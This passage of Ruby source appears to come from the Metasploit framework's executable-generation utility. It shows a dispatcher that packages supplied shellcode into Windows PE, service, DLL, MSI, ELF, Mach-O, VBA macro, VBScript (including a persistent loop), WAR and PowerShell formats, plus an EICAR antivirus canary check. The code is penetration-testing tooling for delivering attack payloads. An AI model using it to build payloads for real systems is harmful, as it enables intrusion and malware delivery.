      raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
    end
    res
  end


  #
  # Generate an executable of a given format suitable for running on the
  # architecture/platform pair.
  #
  # This routine is shared between msfencode, rpc, and payload modules (use
  # <payload>)
  #
  # @param framework [Framework]
  # @param arch [String] Architecture for the target format; one of the ARCH_*
  # constants
  # @param plat [#index] platform
  # @param code [String] The shellcode for the resulting executable to run
  # @param fmt [String] One of the executable formats as defined in
  #   {.to_executable_fmt_formats}
  # @param exeopts [Hash] Passed directly to the approrpriate method for
  #   generating an executable for the given +arch+/+plat+ pair.
  # @return [String] An executable appropriate for the given
  #   architecture/platform pair.
  # @return [nil] If the format is unrecognized or the arch and plat don't
  #   make sense together.
  def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
    # For backwards compatibility with the way this gets called when
    # generating from Msf::Simple::Payload.generate_simple
    if arch.kind_of? Array
      output = nil
      arch.each do |a|
        output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
        break if output
      end
      return output
    end

    # otherwise the result of this huge case statement is returned
    case fmt
    when 'asp'
      exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
      Msf::Util::EXE.to_exe_asp(exe, exeopts)
    when 'aspx'
      Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)
    when 'aspx-exe'
      exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
      Msf::Util::EXE.to_exe_aspx(exe, exeopts)
    when 'dll'
      case arch
      when ARCH_X86,nil
        to_win32pe_dll(framework, code, exeopts)
      when ARCH_X86_64
        to_win64pe_dll(framework, code, exeopts)
      when ARCH_X64
        to_win64pe_dll(framework, code, exeopts)
      end
    when 'exe'
      case arch
      when ARCH_X86,nil
        to_win32pe(framework, code, exeopts)
      when ARCH_X86_64
        to_win64pe(framework, code, exeopts)
      when ARCH_X64
        to_win64pe(framework, code, exeopts)
      end
    when 'exe-service'
      case arch
      when ARCH_X86,nil
        to_win32pe_service(framework, code, exeopts)
      when ARCH_X86_64
        to_win64pe_service(framework, code, exeopts)
      when ARCH_X64
        to_win64pe_service(framework, code, exeopts)
      end
    when 'exe-small'
      case arch
      when ARCH_X86,nil
        to_win32pe_old(framework, code, exeopts)
      when ARCH_X86_64,ARCH_X64
        to_win64pe(framework, code, exeopts)
      end
    when 'exe-only'
      case arch
      when ARCH_X86,nil
        to_winpe_only(framework, code, exeopts)
      when ARCH_X86_64
        to_winpe_only(framework, code, exeopts, arch)
      when ARCH_X64
        to_winpe_only(framework, code, exeopts, arch)
      end
    when 'msi'
      case arch
        when ARCH_X86,nil
          exe = to_win32pe(framework, code, exeopts)
        when ARCH_X86_64,ARCH_X64
          exe = to_win64pe(framework, code, exeopts)
      end
      Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
    when 'msi-nouac'
      case arch
      when ARCH_X86,nil
        exe = to_win32pe(framework, code, exeopts)
      when ARCH_X86_64,ARCH_X64
        exe = to_win64pe(framework, code, exeopts)
      end
      exeopts[:uac] = true
      Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
    when 'elf'
      if !plat || plat.index(Msf::Module::Platform::Linux)
        case arch
        when ARCH_X86,nil
to_linux_x86_elf(framework, code, exeopts)
        when ARCH_X86_64
          to_linux_x64_elf(framework, code, exeopts)
        when ARCH_X64
          to_linux_x64_elf(framework, code, exeopts)
        when ARCH_ARMLE
          to_linux_armle_elf(framework, code, exeopts)
        when ARCH_MIPSBE
          to_linux_mipsbe_elf(framework, code, exeopts)
        when ARCH_MIPSLE
          to_linux_mipsle_elf(framework, code, exeopts)
        end
      elsif plat && plat.index(Msf::Module::Platform::BSD)
        case arch
        when ARCH_X86,nil
          Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
        end
      elsif plat && plat.index(Msf::Module::Platform::Solaris)
        case arch
        when ARCH_X86,nil
          to_solaris_x86_elf(framework, code, exeopts)
        end
      end
    when 'elf-so'
      if !plat || plat.index(Msf::Module::Platform::Linux)
        case arch
        when ARCH_X86_64
          to_linux_x64_elf_dll(framework, code, exeopts)
        when ARCH_X64
          to_linux_x64_elf_dll(framework, code, exeopts)
        end
      end
    when 'macho', 'osx-app'
      macho = case arch
      when ARCH_X86,nil
        to_osx_x86_macho(framework, code, exeopts)
      when ARCH_X86_64
        to_osx_x64_macho(framework, code, exeopts)
      when ARCH_X64
        to_osx_x64_macho(framework, code, exeopts)
      when ARCH_ARMLE
        to_osx_arm_macho(framework, code, exeopts)
      when ARCH_PPC
        to_osx_ppc_macho(framework, code, exeopts)
      end
      fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho
    when 'vba'
      Msf::Util::EXE.to_vba(framework, code, exeopts)
    when 'vba-exe'
      exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
      Msf::Util::EXE.to_exe_vba(exe)
    when 'vbs'
      exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
      Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
    when 'loop-vbs'
      exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
      Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
    when 'war'
      arch ||= [ ARCH_X86 ]
      tmp_plat = plat.platforms if plat
      tmp_plat ||= Msf::Module::PlatformList.transform('win')
      exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
      Msf::Util::EXE.to_jsp_war(exe)
    when 'psh'
      Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
    when 'psh-net'
      Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
    when 'psh-reflection'
      Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
    end
  end

  def self.to_executable_fmt_formats
    [
      "asp",
      "aspx",
      "aspx-exe",
      "dll",
      "elf",
      "elf-so",
      "exe",
      "exe-only",
      "exe-service",
      "exe-small",
      "loop-vbs",
      "macho",
      "msi",
      "msi-nouac",
      "osx-app",
      "psh",
      "psh-net",
      "psh-reflection",
      "vba",
      "vba-exe",
      "vbs",
      "war"
    ]
  end

  #
  # EICAR Canary
  #
  def self.is_eicar_corrupted?
    path = ::File.expand_path(::File.join(
      ::File.dirname(__FILE__),"..", "..", "..", "data", "eicar.com")
    )
    return true unless ::File.exists?(path)
    ret = false
    if ::File.exists?(path)
      begin
        data = ::File.read(path)
        unless Digest::SHA1.hexdigest(data) == "3395856ce81f2b7382dee72602f798b642f14140"
          ret = true
        end
      rescue ::Exception
        ret = true
      end
    end
    ret
  end

  def self.get_file_contents(file, perms = "rb")
    contents = ''
    File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}
    contents
  end

  def self.find_payload_tag(mo, err_msg)
    bo = mo.index('PAYLOAD:')
    unless bo
      raise RuntimeError, err_msg
    end
    bo
  end

end
end
end
